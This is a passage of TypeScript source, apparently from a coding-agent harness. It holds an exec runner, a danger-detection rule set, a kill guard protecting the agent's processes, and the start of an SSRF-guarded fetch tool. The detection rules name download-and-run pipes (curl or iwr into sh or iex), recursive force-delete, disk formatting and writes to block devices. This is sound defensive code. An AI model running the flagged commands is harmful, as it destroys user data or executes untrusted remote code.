cancelled this\" apart from \"the binary is missing\".\n // The signal passed to spawn() is an AbortSignal; Node internally\n // converts the abort into an AbortError with `code: 'ABORT_ERR'`.\n const isAbort = err && (err as NodeJS.ErrnoException).code === 'ABORT_ERR';\n const stderrText = isAbort ? `Aborted: ${err.message}` : err.message;\n clearTimeout(timer);\n if (isWin) signal.removeEventListener('abort', onAbort);\n if (typeof pid === 'number') registry.unregister(pid);\n registry.afterCall(Date.now() - startedAt, true);\n spool.finalize();\n emitCompletedOnce(isAbort ? 124 : 1, child.pid, isAbort ? 'ABORT' : undefined);\n finish({\n command: cmd,\n args,\n stdout: normalizeCommandOutput(stdout),\n stderr: stderrText,\n exitCode: isAbort ? 124 : 1,\n truncated: Buffer.byteLength(stdout, 'utf8') > COMMAND_OUTPUT_MAX_BYTES,\n allowed: true,\n danger,\n });\n });\n\n const registry = getProcessRegistry();\n const pid = child.pid;\n if (typeof pid === 'number') {\n const fullCommand = `${cmd} ${args.join(' ')}`;\n registry.register({ pid, name: 'exec', command: redactCommand(fullCommand), startedAt: Date.now(), sessionId, child });\n }\n\n const timer = setTimeout(() => {\n killed = true;\n timedOut = true;\n if (typeof pid === 'number') registry.kill(pid);\n else child.kill('SIGTERM');\n }, timeout);\n\n const onAbort = () => {\n killed = true;\n if (typeof pid === 'number') registry.kill(pid, { force: true });\n else child.kill('SIGTERM');\n };\n if (isWin) {\n if (signal.aborted) onAbort();\n else signal.addEventListener('abort', onAbort, { once: true });\n }\n\n child.stdout?.on('data', (chunk: Buffer) => {\n const text = chunk.toString();\n stdoutBytes += chunk.byteLength;\n emitProcessOutput({ pid, stream: 'stdout', chunk });\n if (stdout.length < MAX_OUTPUT) stdout += text;\n spool.write(text);\n });\n\n child.stderr?.on('data', (chunk: Buffer) => {\n const text = chunk.toString();\n stderrBytes += chunk.byteLength;\n emitProcessOutput({ pid, stream: 'stderr', chunk });\n if (stderr.length < MAX_OUTPUT) stderr += text;\n spool.write(text);\n });\n\n child.on('close', (code) => {\n clearTimeout(timer);\n if (isWin) signal.removeEventListener('abort', onAbort);\n if (typeof pid === 'number') registry.unregister(pid);\n const durationMs = Date.now() - startedAt;\n const exitCode = killed ? 124 : (code ?? 1);\n emitCompletedOnce(exitCode, pid);\n registry.afterCall(durationMs, exitCode !== 0);\n const spooled = spool.finalize();\n finish({\n command: cmd,\n args,\n stdout: normalizeCommandOutput(stdout) + (spooled ? spoolNote(spooled) : ''),\n stderr: normalizeCommandOutput(stderr),\n exitCode,\n truncated:\n Buffer.byteLength(stdout, 'utf8') > COMMAND_OUTPUT_MAX_BYTES ||\n Buffer.byteLength(stderr, 'utf8') > COMMAND_OUTPUT_MAX_BYTES,\n allowed: true,\n danger,\n });\n });\n });\n}\n", "/**\n * Heuristic danger detection for `exec` tool commands.\n *\n * Layered on top of `BLOCKED_ARG_PATTERNS` (which is a hard-deny list for\n * clear sandbox escapes) and `bash-kill-guard.ts` (which protects WrongStack\n * itself from kill). This module assigns a danger level to a command/arg\n * pair so the caller can decide whether to:\n *\n * - 'safe' \u2192 execute normally\n * - 'caution' \u2192 execute and emit a warning line to the tool output\n * - 'destructive' \u2192 route through the existing confirm flow\n * (`execTool.permission === 'confirm'`) instead of\n * hard-deny, so the user can still proceed if intentional\n *\n * Design constraints:\n * - Deterministic: no randomness, no I/O, no time. Same input \u2192 same output.\n * - No LLM calls. Patterns are regex / exact-match.\n * - Per-rule `id` so config can override specific rules via\n * `tools.exec.danger.bypass`.\n * - Reasons are human-readable, joined with \"; \" for the confirm prompt.\n *\n * Caution rules are deliberately permissive \u2014 they execute and emit a\n * warning rather than blocking. The rationale: many of these patterns\n * (python -c, sudo) are part of legitimate dev workflows,\n * so a hard deny would block too much. A warning gives the user a\n * chance to notice \"wait, I didn't mean to do that\" without forcing\n * them to add a config override for every script.\n */\n\nexport type DangerLevel = 'safe' | 'caution' | 'destructive';\n\nexport interface DangerAssessment {\n level: DangerLevel;\n reasons: string[];\n /** Stable id of the matched rule, for tests and config-override. */\n matchedRule?: string;\n}\n\ninterface DangerRule {\n id: string;\n level: DangerLevel;\n /** Match a (cmd, args) pair. Return true if this rule fires. */\n test: (cmd: string, args: readonly string[]) => boolean;\n /** Human-readable explanation, joined with \"; \" in the output. */\n reason: string;\n}\n\nconst argHas = (args: readonly string[], value: string): boolean => args.includes(value);\nconst argMatches = (args: readonly string[], re: RegExp): boolean => args.some((a) => re.test(a));\n/**\n * Check for a flag like `-rf`, `-fr`, `-r -f`, `-f -r` etc. where the *order*\n * (and whether the letters are joined into one token or split across\n * separate `-x` tokens) does not matter. We accumulate every short-flag\n * letter seen across all args, then check the required letters are all\n * present somewhere in that set.\n */\nconst hasShortFlags = (args: readonly string[], letters: string): boolean => {\n const seen = new Set<string>();\n for (const a of args) {\n if (!a.startsWith('-') || a.startsWith('--')) continue;\n for (const ch of a.replace(/^-+/, '')) seen.add(ch);\n }\n return letters.split('').every((l) => seen.has(l));\n};\n\nconst RULES: readonly DangerRule[] = [\n // ----- rm / rmdir: recursive force delete (any path) -----\n // Note: BLOCKED_ARG_PATTERNS already hard-denies root/home/glob paths,\n // but `rm -rf ./build` is a normal dev workflow that the user might\n // want to do intentionally. We downgrade it to 'destructive' so the\n // confirm prompt can approve.\n {\n id: 'rm-recursive',\n level: 'destructive',\n test: (cmd, args) => (cmd === 'rm' || cmd === 'rmdir') && hasShortFlags(args, 'rf'),\n reason: 'recursive force-delete',\n },\n // ----- Windows PowerShell Remove-Item: -Recurse -Force -----\n {\n id: 'powershell-remove-item-recursive-force',\n level: 'destructive',\n test: (cmd, args) => {\n if (cmd !== 'powershell' && cmd !== 'pwsh') return false;\n const hasRecurse = argMatches(args, /^-(?:R|Recurse|Recurse\\s)/);\n const hasForce = argHas(args, '-Force') || argHas(args, '-F');\n // Allow `-WhatIf` (dry-run) without confirmation\n if (argHas(args, '-WhatIf')) return false;\n return hasRecurse && hasForce;\n },\n reason: 'Remove-Item with -Recurse -Force',\n },\n // ----- find -exec / -ok / -execdir -----\n {\n id: 'find-exec',\n level: 'destructive',\n test: (cmd, args) => {\n if (cmd !== 'find') return false;\n return args.some(\n (a) =>\n a === '-exec' ||\n a === '-exec;' ||\n a === '-ok' ||\n a === '-ok;' ||\n a === '-execdir' ||\n a === '-execdir;' ||\n a.startsWith('-exec=') ||\n a.startsWith('-ok=') ||\n a.startsWith('-execdir='),\n );\n },\n reason: 'find with -exec/-ok (executes arbitrary command on matches)',\n },\n // ----- git --exec= / --upload-pack= / --receive-pack= -----\n // These run arbitrary commands via the git transport layer.\n {\n id: 'git-exec',\n level: 'destructive',\n test: (cmd, args) =>\n cmd === 'git' &&\n args.some(\n (a) =>\n a.startsWith('--exec=') ||\n a.startsWith('--upload-pack=') ||\n a.startsWith('--receive-pack=') ||\n a === '--exec' ||\n a === '--upload-pack' ||\n a === '--receive-pack',\n ),\n reason: 'git with --exec/--upload-pack/--receive-pack (runs arbitrary code)',\n },\n // ----- Windows: format / diskpart / bcdedit -----\n {\n id: 'win32-format',\n level: 'destructive',\n test: (cmd) => cmd === 'format' || cmd === 'format.exe',\n reason: 'format (Windows disk format)',\n },\n {\n id: 'win32-diskpart',\n level: 'destructive',\n test: (cmd) => cmd === 'diskpart' || cmd === 'diskpart.exe',\n reason: 'diskpart (Windows partition editor)',\n },\n {\n id: 'win32-bcdedit',\n level: 'destructive',\n test: (cmd) => cmd === 'bcdedit' || cmd === 'bcdedit.exe',\n reason: 'bcdedit (Windows boot config editor)',\n },\n // ----- mkfs family -----\n {\n id: 'mkfs',\n level: 'destructive',\n test: (cmd) => /^mkfs(\\.[a-z0-9]+)?$/.test(cmd) || cmd === 'mkswap',\n reason: 'mkfs (filesystem creation \u2014 destroys existing data)',\n },\n // ----- dd writing to a block device -----\n {\n id: 'dd-to-block-device',\n level: 'destructive',\n test: (cmd, args) => {\n if (cmd !== 'dd') return false;\n return args.some((a) => /of=\\/dev\\/(sd|hd|nvme|vd|mmcblk|xvd|loop|disk)/.test(a));\n },\n reason: 'dd writing to a block device',\n },\n // ----- Secure-erase tools -----\n {\n id: 'shred',\n level: 'destructive',\n test: (cmd) => cmd === 'shred' || cmd === 'shred.exe',\n reason: 'shred (secure file delete)',\n },\n {\n id: 'wipefs',\n level: 'destructive',\n test: (cmd) => cmd === 'wipefs' || cmd === 'wipefs.exe',\n reason: 'wipefs (signature wipe \u2014 destroys filesystem headers)',\n },\n {\n id: 'sdelete',\n level: 'destructive',\n test: (cmd) => cmd === 'sdelete' || cmd === 'sdelete.exe',\n reason: 'sdelete (Sysinternals secure delete)',\n },\n // ----- VCS history rewrite (destructive) -----\n // `git push --force` / `-f` rewrites remote history. `--force-with-lease`\n // is the safer variant (checks remote hasn't moved) but still rewrites.\n {\n id: 'git-push-force',\n level: 'destructive',\n test: (cmd, args) => {\n if (cmd !== 'git') return false;\n const pushIdx = args.indexOf('push');\n if (pushIdx < 0) return false;\n for (let i = pushIdx + 1; i < args.length; i++) {\n const a = args[i]!;\n if (a === '--force' || a === '-f' || a === '--force-with-lease') return true;\n if (!a.startsWith('-') && !a.includes('=')) continue;\n if (a.startsWith('--force') /* covers --force-with-lease already */) return true;\n }\n return false;\n },\n reason: 'git push with --force / -f (rewrites remote history)',\n },\n // ----- git reset --hard (destructive) -----\n {\n id: 'git-reset-hard',\n level: 'destructive',\n test: (cmd, args) =>\n cmd === 'git' && args.some((a) => a === '--hard' || a.startsWith('--hard=')),\n reason: 'git reset --hard (discards working tree + index)',\n },\n // ----- git clean -f / -fd (destructive) -----\n {\n id: 'git-clean-force',\n level: 'destructive',\n test: (cmd, args) => {\n if (cmd !== 'git') return false;\n const cleanIdx = args.indexOf('clean');\n if (cleanIdx < 0) return false;\n // Must include -f / --force (without it, git clean errors out and\n // does nothing). -fd / -fdX combinations are subsumed.\n return args\n .slice(cleanIdx + 1)\n .some(\n (a) =>\n a === '-f' ||\n a === '--force' ||\n a.startsWith('-f') /* -fd, -fdx, etc. */ ||\n a.startsWith('--force='),\n );\n },\n reason: 'git clean -f (deletes untracked files)',\n },\n // ----- package publish (destructive \u2014 public, irreversible) -----\n {\n id: 'npm-publish',\n level: 'destructive',\n test: (cmd, args) => {\n if (!['npm', 'pnpm', 'yarn', 'bun', 'cargo'].includes(cmd)) return false;\n // For npm/pnpm/yarn/bun: subcommand is \"publish\".\n // For cargo: subcommand is \"publish\" OR \"yank\" (both touch the\n // public registry; yank is reversible, publish is not, but yank\n // is rare enough we treat it the same).\n return args.includes('publish') || (cmd === 'cargo' && args.includes('yank'));\n },\n reason: 'publishing to a public package registry (hard to reverse)',\n },\n // ----- k8s cluster-wide destructive ops (destructive) -----\n {\n id: 'kubectl-delete-namespace',\n level: 'destructive',\n test: (cmd, args) => {\n if (cmd !== 'kubectl') return false;\n const delIdx = args.indexOf('delete');\n if (delIdx < 0) return false;\n // Match `kubectl delete namespace <name>` or `kubectl delete ns <name>`.\n // Generic `kubectl delete pod foo` is left out \u2014 too common.\n const after = args.slice(delIdx + 1);\n return after[0] === 'namespace' || after[0] === 'ns';\n },\n reason: 'kubectl delete namespace (deletes all resources in the namespace)',\n },\n {\n id: 'kubectl-drain',\n level: 'destructive',\n test: (cmd, args) => cmd === 'kubectl' && args.includes('drain'),\n reason: 'kubectl drain (evicts pods, marks node unschedulable)',\n },\n // ----- inline code evaluation (caution \u2014 high false-positive) -----\n // Common in scripts: `python -c \"...\"`, `node -e \"...\"`, `bash -c \"...\"`.\n // We tag 'caution' rather than 'destructive' because these are used in\n // many legitimate one-liners (e.g. `python -c \"print(1)\"`).\n {\n id: 'inline-eval',\n level: 'caution',\n test: (cmd, args) => {\n if (\n ![\n 'python',\n 'python3',\n 'python2',\n 'node',\n 'bash',\n 'sh',\n 'zsh',\n 'ruby',\n 'perl',\n 'lua',\n ].includes(cmd)\n ) {\n return false;\n }\n return args.some(\n (a) =>\n a === '-c' ||\n a === '-e' ||\n a === '--eval' ||\n a === '-eval' ||\n a === '-E' /* node --eval shorthand in some shells */,\n );\n },\n reason: 'inline script evaluation (-c / -e / --eval)',\n },\n // ----- pipe-to-shell (destructive \u2014 download-and-run pattern) -----\n // The classic `curl https://... | sh` download-and-run vector. Detected by\n // looking for a known fetcher piped into a shell or expression evaluator.\n // A shell command passed through `bash -c` / `pwsh -Command` arrives as one\n // argv string, so scan the reconstructed argv text rather than individual\n // tokens only.\n {\n id: 'pipe-to-shell',\n level: 'destructive',\n test: (cmd, args) =>\n /\\b(?:curl|wget|fetch|httpie|http|irm|iwr|Invoke-WebRequest|Invoke-RestMethod)\\b[\\s\\S]{0,300}\\|\\s*(?:sudo\\s+)?(?:sh|bash|zsh|fish|pwsh|powershell|iex|Invoke-Expression)\\b/i.test(\n [cmd, ...args].join(' '),\n ),\n reason: 'network fetch piped to a shell (download-and-run pattern)',\n },\n // ----- privilege escalation (caution) -----\n {\n id: 'sudo',\n level: 'caution',\n test: (cmd) => cmd === 'sudo' || cmd === 'doas',\n reason: 'privilege escalation (sudo / doas)',\n },\n {\n id: 'runas',\n level: 'caution',\n test: (cmd) => cmd === 'runas' || cmd === 'runas.exe',\n reason: 'Windows runas (run as different user)',\n },\n // ----- world-writable permissions (caution) -----\n // `chmod 777` is rarely correct. `chmod -R 777` is almost always wrong.\n // We only flag octal modes; symbolic modes like `chmod o+w` are\n // left to the operator's discretion.\n {\n id: 'chmod-world-writable',\n level: 'caution',\n test: (cmd, args) => {\n if (cmd !== 'chmod') return false;\n // Skip symbolic modes: anything starting with [ugoa]=\\w or [ugoa]+\\w.\n // The only thing we flag is a pure octal mode containing 7 anywhere\n // in the user/group/other triple (e.g. 777, 776, 747, 707).\n return args.some((a) => /^[0-7]{3,4}$/.test(a) && /7/.test(a));\n },\n reason: 'chmod with world-writable octal mode (e.g. 777)',\n },\n];\n\n/**\n * Evaluate the danger level of a (cmd, args) pair.\n *\n * Returns 'safe' if no rule fires, otherwise the highest level among all\n * matching rules. The 'matchedRule' field is the *last* rule that fired\n * (stable, since rules are evaluated in declaration order).\n *\n * Optional `bypass` argument: a set of rule ids that should be SKIPPED\n * even if they would otherwise match. Wired from\n * `config.tools.exec.danger.bypass` (see `ExecDangerConfig` in\n * `@wrongstack/core/src/types/config.ts`). Unknown ids are silently\n * ignored \u2014 forward-compat: a rule added in a future version can be\n * referenced before the user upgrades their config schema.\n *\n * This function is the single source of truth for danger classification;\n * it is pure (no side effects) and unit-tested in `danger-detect.test.ts`.\n */\nexport function detectDanger(\n cmd: string,\n args: readonly string[],\n bypass?: ReadonlySet<string>,\n): DangerAssessment {\n const reasons: string[] = [];\n let level: DangerLevel = 'safe';\n let matchedRule: string | undefined;\n\n for (const rule of RULES) {\n if (bypass?.has(rule.id)) continue;\n if (!rule.test(cmd, args)) continue;\n reasons.push(rule.reason);\n matchedRule = rule.id;\n if (levelRank(rule.level) > levelRank(level)) {\n level = rule.level;\n }\n }\n\n if (level === 'safe') return { level: 'safe', reasons: [] };\n // matchedRule is set above (last winning rule). For exactOptionalPropertyTypes\n // we build the object conditionally so the property is omitted when undefined.\n const result: DangerAssessment = { level, reasons };\n if (matchedRule !== undefined) result.matchedRule = matchedRule;\n return result;\n}\n\nfunction levelRank(level: DangerLevel): number {\n switch (level) {\n case 'safe':\n return 0;\n case 'caution':\n return 1;\n case 'destructive':\n return 2;\n }\n}\n", "/**\n * Exec Kill Guard \u2014 Intercepts exec tool kill commands and prevents them from\n * terminating WrongStack processes.\n *\n * Unlike bash-kill-guard.ts which parses a raw shell string, this module\n * works with the exec tool's (command, args) format. It handles:\n * - taskkill /F /IM node.exe (name-based)\n * - taskkill /F /PID 1234 (PID-based)\n * - Stop-Process -Name \"node\" -Force (PowerShell cmdlet)\n * - kill -9 12345 / pkill node (POSIX via allowlisted commands)\n * - wmic process where \"name='node.exe'\" delete\n * - node -e \"process.kill(12345)\" (eval-based kill)\n * - Any script that contains kill commands (exec'd via shell interpreters)\n *\n * This is one defense-in-depth layer \u2014 the primary guard is the\n * PreToolUse hook in the process-guard plugin, and the permission\n * policy's YOLO destructive detection.\n */\n\nimport * as os from 'node:os';\nimport * as path from 'node:path';\nimport { getPersistentProcessRegistry } from './process-registry-persistent.js';\n\nconst isWin = os.platform() === 'win32';\n\nexport interface ExecKillCheckResult {\n blocked: boolean;\n reason?: string;\n}\n\n/**\n * Check if an exec (command, args) pair is a kill operation targeting\n * a protected WrongStack process. Returns { blocked: true, reason } when\n * the command should be blocked, or { blocked: false } when it's safe.\n */\nexport async function checkExecKillCommand(\n cmd: string,\n args: readonly string[],\n): Promise<ExecKillCheckResult> {\n if (!cmd) return { blocked: false };\n\n const cmdLower = cmd.toLowerCase().trim();\n const fullCommand = [cmdLower, ...args].join(' ').replace(/\\s+/g, ' ').trim();\n\n // On Windows, check for taskkill, Stop-Process, wmic kill\n if (isWin) {\n // taskkill /IM node.exe or taskkill /F /PID 1234\n if (cmdLower === 'taskkill' || cmdLower === 'taskkill.exe') {\n const hasForce = args.some((a) => a.toUpperCase() === '/F' || a.toUpperCase() === '-F');\n const signal = hasForce ? 'FORCE' : 'TERM';\n\n // /IM name-based kill\n for (let i = 0; i < args.length; i++) {\n const a = args[i]!;\n if (a.toUpperCase() === '/IM' || a.toUpperCase() === '-IM') {\n const nameArg = args[i + 1];\n if (nameArg) {\n const result = await checkKillTarget({ name: nameArg, signal, cmd: fullCommand });\n if (result.blocked) return result;\n }\n }\n }\n // /PID specific process\n for (let i = 0; i < args.length; i++) {\n const a = args[i]!;\n if (a.toUpperCase() === '/PID' || a.toUpperCase() === '-PID') {\n const pidArg = args[i + 1];\n if (pidArg && /^\\d+$/.test(pidArg)) {\n const result = await checkKillTarget({\n pid: parseInt(pidArg, 10),\n signal,\n cmd: fullCommand,\n });\n if (result.blocked) return result;\n }\n }\n }\n // /FI \"IMAGENAME eq node.exe\" filter-based name kill (functionally\n // equivalent to /IM, documented taskkill idiom)\n for (let i = 0; i < args.length; i++) {\n const a = args[i]!;\n if (a.toUpperCase() === '/FI' || a.toUpperCase() === '-FI') {\n const filterArg = args[i + 1];\n if (filterArg) {\n const nameMatch = filterArg.match(/IMAGENAME\\s+eq\\s+\"?([^\"\\s]+)/i);\n if (nameMatch?.[1]) {\n const result = await checkKillTarget({ name: nameMatch[1], signal, cmd: fullCommand });\n if (result.blocked) return result;\n }\n }\n }\n }\n // If it's taskkill with /IM but we didn't match a specific name,\n // still be conservative if it targets processes broadly\n return { blocked: false };\n }\n\n // Shell indirection: inspect the command after cmd /c or PowerShell\n // -Command/-c. Recurse through this guard rather than passing the wrapper\n // string to bash-kill-guard, which cannot parse a leading `cmd /c`.\n if (\n cmdLower === 'powershell' ||\n cmdLower === 'powershell.exe' ||\n cmdLower === 'pwsh' ||\n cmdLower === 'pwsh.exe' ||\n cmdLower === 'cmd' ||\n cmdLower === 'cmd.exe'\n ) {\n const shellFlagIndex = args.findIndex((arg) => {\n const lower = arg.toLowerCase();\n return lower === '-c' || lower === '-command' || lower === '/c';\n });\n if (shellFlagIndex >= 0) {\n const innerTokens = tokenizeShellCommand(args.slice(shellFlagIndex + 1).join(' '));\n const innerCommand = innerTokens[0];\n if (innerCommand) {\n const result = await checkExecKillCommand(innerCommand, innerTokens.slice(1));\n if (result.blocked) return result;\n }\n }\n }\n\n // Direct Stop-Process / kill command (PowerShell alias)\n if (cmdLower === 'stop-process' || cmdLower === 'kill') {\n for (let i = 0; i < args.length; i++) {\n const a = args[i]!;\n // -Name \"node\" or -Name node\n if (a === '-Name' || a === '-n') {\n const nameArg = args[i + 1]?.replace(/^['\"]|['\"]$/g, '');\n if (nameArg) {\n const result = await checkKillTarget({\n name: nameArg,\n signal: 'FORCE',\n cmd: fullCommand,\n });\n if (result.blocked) return result;\n }\n }\n // -Id 1234 or -PID 1234\n if (a === '-Id' || a === '-PID' || a === '-pid') {\n const pidArg = args[i + 1];\n if (pidArg && /^\\d+$/.test(pidArg)) {\n const result = await checkKillTarget({\n pid: parseInt(pidArg, 10),\n signal: 'FORCE',\n cmd: fullCommand,\n });\n if (result.blocked) return result;\n }\n }\n }\n // Bare \"kill node\" (PowerShell alias) \u2014 name as first non-flag arg\n const firstNonFlag = args.find((a) => !a.startsWith('-'));\n if (firstNonFlag) {\n const name = firstNonFlag.replace(/^['\"]|['\"]$/g, '');\n // pkill and process names like \"node\" \u2014 conservative check\n const result = await checkKillTarget({ name, signal: 'TERM', cmd: fullCommand });\n if (result.blocked) return result;\n }\n }\n\n // WMIC process ... delete\n if (cmdLower === 'wmic' || cmdLower === 'wmic.exe') {\n const joined = args.join(' ').toLowerCase();\n if (/\\bprocess\\b/.test(joined) && /\\bdelete\\b/.test(joined)) {\n // Extract the name filter\n const nameMatch = joined.match(/name\\s*=\\s*['\"]?([^'\"]+)/);\n if (nameMatch?.[1]) {\n const result = await checkKillTarget({\n name: nameMatch[1].trim(),\n signal: 'FORCE',\n cmd: fullCommand,\n });\n if (result.blocked) return result;\n }\n // No name filter \u2014 block conservatively (wmic process delete is broad)\n return {\n blocked: true,\n reason:\n 'Blocked: wmic process delete targets all matched processes \u2014 would include protected WrongStack processes.',\n };\n }\n }\n\n // node -e \"process.kill(12345)\" \u2014 eval-based kill\n if (cmdLower === 'node' || cmdLower === 'node.exe') {\n if (args.includes('-e') || args.includes('--eval')) {\n const evalIdx = args.indexOf('-e') !== -1 ? args.indexOf('-e') : args.indexOf('--eval');\n const evalCode = args[evalIdx + 1] ?? '';\n if (/\\bprocess\\.kill\\s*\\(/.test(evalCode)) {\n // Extract the PID from process.kill(...)\n const pidMatch = evalCode.match(/process\\.kill\\s*\\(\\s*(\\d+)/);\n if (pidMatch?.[1]) {\n const pid = parseInt(pidMatch[1], 10);\n const result = await checkKillTarget({ pid, signal: 'SIGTERM', cmd: fullCommand });\n if (result.blocked) return result;\n }\n // Can't extract PID but it's process.kill \u2014 block conservatively\n return {\n blocked: true,\n reason:\n 'Blocked: node -e with process.kill() \u2014 would target protected WrongStack process(es).',\n };\n }\n }\n }\n } else {\n // POSIX\n // Direct kill/pkill/killall via exec\n if (cmdLower === 'kill') {\n for (const a of args) {\n // kill 1234, kill -9 1234, kill -- -1234 (group)\n const num = a.replace(/^-/, '');\n if (/^\\d+$/.test(num)) {\n const pid = parseInt(num, 10);\n const result = await checkKillTarget({ pid, signal: 'SIGTERM', cmd: fullCommand });\n if (result.blocked) return result;\n }\n }\n }\n if (cmdLower === 'pkill' || cmdLower === 'killall') {\n const firstNonFlag = args.find((a) => !a.startsWith('-'));\n if (firstNonFlag) {\n const result = await checkKillTarget({\n name: firstNonFlag,\n signal: 'SIGTERM',\n cmd: fullCommand,\n });\n if (result.blocked) return result;\n }\n }\n }\n\n return { blocked: false };\n}\n\n// \u2500\u2500 Helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\n/** Split a shell payload into argv-like tokens while preserving quoted names. */\nfunction tokenizeShellCommand(command: string): string[] {\n const tokens: string[] = [];\n let current = '';\n let quote: '\"' | \"'\" | null = null;\n\n for (const char of command.trim()) {\n if (quote) {\n if (char === quote) quote = null;\n else current += char;\n continue;\n }\n if (char === '\"' || char === \"'\") {\n quote = char;\n } else if (/\\s/.test(char)) {\n if (current) {\n tokens.push(current);\n current = '';\n }\n } else {\n current += char;\n }\n }\n\n if (current) tokens.push(current);\n return tokens;\n}\n\ninterface KillTarget {\n pid?: number;\n name?: string;\n signal: string;\n cmd: string;\n}\n\n/**\n * Check if a kill target maps to a protected WrongStack process by\n * consulting the persistent process registry (cross-instance PID store).\n */\nasync function checkKillTarget(target: KillTarget): Promise<ExecKillCheckResult> {\n const registry = getPersistentProcessRegistry();\n\n // PID-based check: is this PID known as protected?\n if (target.pid !== undefined) {\n const blocked = await registry.shouldBlockKill(target.pid);\n if (blocked) {\n return {\n blocked: true,\n reason: `Blocked: kill ${target.signal} PID ${target.pid} targets a protected WrongStack process (${target.cmd.slice(0, 80)}).`,\n };\n }\n // Also check if it's the current process or its parent\n if (target.pid === process.pid) {\n return {\n blocked: true,\n reason: 'Blocked: cannot kill the current WrongStack process.',\n };\n }\n if (target.pid === process.ppid) {\n return {\n blocked: true,\n reason: 'Blocked: cannot kill the parent terminal hosting WrongStack.',\n };\n }\n return { blocked: false };\n }\n\n // Name-based check: does the target name match any protected process?\n if (target.name) {\n const nameLower = target.name.toLowerCase().replace(/\\.exe$/, '');\n\n // Hard-block on \"wrongstack\" references\n if (nameLower.includes('wrongstack')) {\n return {\n blocked: true,\n reason: `Blocked: kill ${target.signal} '${target.name}' targets a WrongStack process name.`,\n };\n }\n\n // The guard itself runs inside the current WrongStack process, which may\n // not have been written to the persistent registry yet (notably in fresh\n // CLI/test sessions). A broad image-name kill matching the current runtime\n // would therefore kill WrongStack even when the registry is empty.\n const currentImage = path\n .basename(process.execPath)\n .toLowerCase()\n .replace(/\\.exe$/, '');\n const targetsNodeRuntime = nameLower === 'node' || nameLower.startsWith('node');\n if (targetsNodeRuntime && currentImage === 'node') {\n return {\n blocked: true,\n reason: `Blocked: kill ${target.signal} '${target.name}' would kill the active WrongStack node.exe runtime.`,\n };\n }\n\n // Also protect other registered WrongStack instances that use Node even\n // when this instance is running from a packaged executable.\n const protectedPids = await registry.getAllProtectedPids();\n if (protectedPids.length > 0 && targetsNodeRuntime) {\n return {\n blocked: true,\n reason: `Blocked: kill ${target.signal} '${target.name}' would kill all node.exe processes including active WrongStack instance(s).`,\n };\n }\n\n return { blocked: false };\n }\n\n return { blocked: false };\n}\n", "import type { Tool, ToolStreamEvent } from '@wrongstack/core/types';\nimport { FetchError, ToolError, ToolValidationError } from '@wrongstack/core/types';\nimport TurndownService from 'turndown';\nimport { ALLOW_PRIVATE, assertNotPrivate, guardedFetch } from './_fetch-guard.js';\nimport { truncateMiddle } from './_util.js';\n\n/**\n * Singleton Turndown instance for HTML\u2192Markdown conversion.\n * Pre-configured with sensible defaults; code blocks are handled via the\n * default fenced code rule. Reused across all fetch calls.\n */\nconst TD = new TurndownService({\n // Use `# Title` for headings, not setext underline style (`Title\\n=====`).\n headingStyle: 'atx',\n // Don't wrap code blocks in <pre> \u2014 render them as triple-backtick blocks.\n codeBlockStyle: 'fenced',\n});\n\n// Strip <script>/<style>/<noscript> before turndown sees them. The old\n// hand-rolled converter did this via regex; turndown's DOM-based approach\n// may keep their text content unless we remove the elements first.\n// Using turndown's own addRule mechanism keeps the logic co-located.\nTD.addRule('stripDangerousElements', {\n filter: ['script', 'style', 'noscript'],\n replacement: () => '',\n});\n\ninterface FetchInput {\n url: string;\n format?: 'markdown' | 'text' | 'raw' | undefined;\n}\n\ninterface FetchOutput {\n content: string;\n status: number;\n content_type: string;\n url: string;\n}\n\nconst MAX_BYTES = 131_072;\nconst TIMEOUT_MS = 20_000;\n\n/** Abort when any of the signals abort (Node 22+ \u2014 AbortSignal.any shipped in Node 20). */\nconst combineSignals = (signals: AbortSignal[]): AbortSignal => AbortSignal.any(signals);\n\n// SSRF guard machinery (guardedLookup, the pinned undici dispatcher,\n// guardedFetch, assertNotPrivate) lives in _fetch-guard.ts so the `search`\n// entry can use guardedFetch without bundling the whole fetch tool.\n// Re-exported here to keep this module's historical public API intact.\nexport { guardedFetch, guardedLookup } from './_fetch-guard.js';\n\nexport const fetchTool: Tool<FetchInput, FetchOutput> = {\n name: 'fetch',\n category: 'Network',\n description:\n 'Fetch a URL and return its content. HTML pages are automatically converted to clean markdown. ' +\n 'This tool has strong SSRF protections (private IPs, localhost, and cloud metadata endpoints are blocked by default).',\n usageHint:\n 'Use this when you need external information (documentation, API responses, web pages, etc.).\\n\\n' +\n 'Security notes:\\n' +\n '- Only HTTPS is allowed by default.\\n' +\n '- Internal/private networks are blocked unless explicitly enabled via environment variable.\\n' +\n '- Redirects are followed but re-validated at each hop.\\n' +\n '- Output is capped (128KB by default) to avoid flooding context.\\n' +\n 'Prefer this over raw `bash curl` or `bash wget`.',\n permission: 'auto',\n mutating: false,\n capabilities: ['net.outbound'],\n icon: 'web',\n // Trust rules for fetch match on the literal URL \u2014 declare it explicitly\n // so a user can trust `https://api.example.com/*` without accidentally\n // matching that pattern on any other tool that happens to have a `url`\n // input field.\n subjectKey: 'url',\n timeoutMs: TIMEOUT_MS,\n maxOutputBytes: MAX_BYTES,\n inputSchema: {\n type: 'object',\n properties: {\n url: {\n type: 'string',\n description: 'The target URL (must use https://).',\n },\n format: {\n type: 'string',\n enum: ['markdown', 'text', 'raw'],\n description: 'Output format. \"markdown\" is recommended for HTML pages.',\n },\n },\n required: ['url'],\n },\n async execute(input, ctx, opts) {\n let final: FetchOutput | undefined;\n const executeStream = fetchTool.executeStream;\n if (!executeStream) {\n throw new ToolError({\n message: 'fetchTool: stream execution unavailable',\n code: 'TOOL_EXECUTION_FAILED',\n toolName: 'fetch',\n });\n }\n for await (const ev of executeStream(input, ctx, opts)) {\n if (ev.type === 'final') final = ev.output;\n }\n if (!final) {\n throw new ToolError({\n message: 'fetch: stream ended without final event',\n code: 'TOOL_EXECUTION_FAILED',\n toolName: 'fetch',\n });\n }\n return final;\n },\n async *executeStream(input, ctx, opts): AsyncGenerator<ToolStreamEvent<FetchOutput>> {\n if (!input?.url) {\n throw new ToolValidationError({\n message: 'fetch: url is required',\n field: 'url',\n });\n }\n const u = new URL(input.url);\n if (u.protocol !== 'https:' && u.protocol 